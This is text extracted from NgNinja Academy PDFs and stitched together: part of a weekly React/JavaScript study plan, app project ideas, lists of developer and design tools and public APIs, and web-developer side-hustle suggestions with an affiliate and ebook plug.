Suspense react component
What does it do?
How to use it?
Show a loader when you are retrieving the data
Exercises
Given an array which contains duplicate elements write a function which returns an array of
unique elements
Fetch a data in your React application and use Suspense feature to gracefully show the
empty state loaders and the data once fetched
11 / 13
NgNinja Academy | All Rights Reserved
Week 10
ReactJS
React hooks
What are hooks
Why do you need hooks
What problem does it solve?
Di erent React hooks - commonly used ones
useState hook
useEffect hook
useRef with React hooks
What is Context API
How to use it?
useContext hook
JavaScript
What is Execution Context
How does JavaScript code and functions get executed?
How does setTimeout and setTimeInterval work under the hood?
All about memory leak
What causes memory leaks in JavaScript
How to avoid them?
How to debug memory leaks?
How-to Garbage Collection
What is Garbage Collection
How does Chrome handle Garbage collection
The JavaScript Engine
React about the Chrome's V8 JavaScript Engine
Mini project
Build a Tic-tac-toe game with ReactJS
Create a border for the tic-tac-toe game
Add click-handler that will render X on odd click numbers
Add click-handler that will render O on even click numbers
At the end reveal the winner in GREEN color -> Even Or Odd
12 / 13
NgNinja Academy | All Rights Reserved
Week 11
JavaScript
Debugging in JS
All the tricks to debug JS code
How to attach debugger in VSCode
What is debounce
How to implement it?
What are its use cases?
What is throttle?
How to implement it?
What are it's usecases?
JavaScript good practices
JavaScript bad practices
ReactJS
Adding Typescript to your application
Why Typescript?
What problems does Typescript solve?
Real-world project 1
Random Challenge App For Bored People
A button that will randomly suggest from a database of activities, brain-teasers, or
simple games
Win virtual coins after the user completes the challenge
Week 12
Real-world project 2
Build a clone of Instagram app
Use ReactJS framework
Use the Instagram public API to fetch the data from
Implement the timeline view
Implement the pro le view
Bonus: Solve any one major pain-point that you struggle with when using the
Instagram application
13 / 13
NgNinja Academy | All Rights Reserved
Create a style-guide/storyboard
Make them responsive
Build it on top of a latest framework like React
Getting comfortable with 3rd party APIs is very much encouraged by the interviewers
It shows that you are comfortable with understanding the documentation and debugging an
unknown territory
How will you cache the data and save it to the system when the user gets online again?
6. App for bored people that sends fun activities, brain teasers or goofy challenges
2 / 14
NgNinja Academy | All Rights Reserved
Instant messaging
Create channels
Private channels
Direct messaging
Set status
Set availability
Product list
Search
Add to cart
Wishlist
Checkout
4 / 14
NgNinja Academy | All Rights Reserved
24. Chrome extension that will nd broken links on the page and mark them red
Optimize it to parse links only when user views that part of the page
If it's admin consolidate the links in one page to make them easier to x
5 / 14
NgNinja Academy | All Rights Reserved
Using gestures to manage video playing - pause, resume, next, previous, etc
Take quiz via the VR app
6 / 14
NgNinja Academy | All Rights Reserved
7 / 14
NgNinja Academy | All Rights Reserved
9 / 14
NgNinja Academy | All Rights Reserved
Love the songs of 90s? But lost your beloved music list from winamp player? Me too.
Build app where users share their favorite songs list
Integrate with music services like YouTube, Spotify, iTunes, etc.
Just import/clone the list in your favorite music service and relive those moments
Advanced search
By genre
Artists
Upvote/downvote/comments
10 / 14
NgNinja Academy | All Rights Reserved
Country quiz
Logo quiz
Programming quiz
World leader quiz
Select a topic
Select a group
Set time limit for the debate
Debate via text or voice or video call
11 / 14
NgNinja Academy | All Rights Reserved
53. Co ee lovers
12 / 14
NgNinja Academy | All Rights Reserved
Fun app that shows the rst tweet your favorite celebrity wrote
Single page application
Select a user / search for a user
Talk to Twitter API
Get that user's rst every tweet
Maybe rst 10 if the page is showing up more white space
13 / 14
NgNinja Academy | All Rights Reserved
Chrome extension
It will blur out the words, pictures, and videos which are uncensored or obscene
For starters you can start with just words
Use a dictionary of words and match the words on the webpage with it and blur them out if they
are not appropriate
14 / 14
NgNinja Academy | All Rights Reserved
Development
Responsively
Develop responsive web apps
Resizin
Resize your images online
Apollo Client Developer Tools
GraphQL debugging tools for Apollo Client in the Chrome developer console
ColorZilla
Advanced Eyedropper, Color Picker, Gradient Generator and other colorful goodies
GraphQL Network
GraphQL Network provides a "network"-style tab for GraphQL requests to allow developers
to debug more easily
React Developer Tools
Adds React debugging tools to the Chrome Developer Tools
Babel REPL
JSON Generator
Giphy
OMDb
Spotify
Twitter
Open Weather Map
REST Countries
1/2
NgNinja Academy | All Rights Reserved
Currency Exchange
Urban Dictionary
URL Link Shortner
PlaceGOAT
The Bored API
Rick and Morty API
Chucknorris
Breaking Bad Quotes
Netlify
Firebase
Github Pages
Heroku
Render
2/2
NgNinja Academy | All Rights Reserved
Creativity
Logo Makers
Canva
Namecheap
Illustrations
Handz
Blush
Streamline Lab
Open Doodles
Pixabay
Burst
Marzwai
Fonts
Google fonts
Font library
100 Days of Fonts
Font In Logo
Icons
SMPLKit
1/2
NgNinja Academy | All Rights Reserved
Material Icons
Feather Icons
Colors
HappyHues
Piggment
Coolers
Productivity
Pastel
Review and comment on websites live
Image compression
N8N
Extendable work ow automation
IFTTT
Connect your apps and devices in new and remarkable ways
Pastebin
2/2
NgNinja Academy | All Rights Reserved
For Developers
List of different ways you can make money as a Web Developer apart from the traditional job.
Find local businesses. Build apps for them that will make their life easier.
Reach out to your family and friends who own business. Start with them.
Fiverr
Upwork
PeoplePerHour
1/3
NgNinja Academy | All Rights Reserved
A liate Marketing
By the way, you can join my a liate partners' gang to start your online money making journey.
Reach out to me about this at [email protected]
Usertesting
TestingTime
TryMyUI
Build audience
Start running ads on your mobile app
Host it
Start running Google ads on it
If you are wondering how to build audience and make money out of it, I would encourage you to
check out my ebook that lays out the exact step by step strategy - Build. Create. Sell. Scale.
2/3
NgNinja Academy | All Rights Reserved
List of side hustles that requires no programming. These are already proven to be making money for many
people.
Piano
Guitar
Craigslist
O er up
Investment
Stocks, options
Day trading
Swing trading
Photography
Wedding
Couple
Events
Dog sitter
Baby sitter
Flip houses
DJ
3/3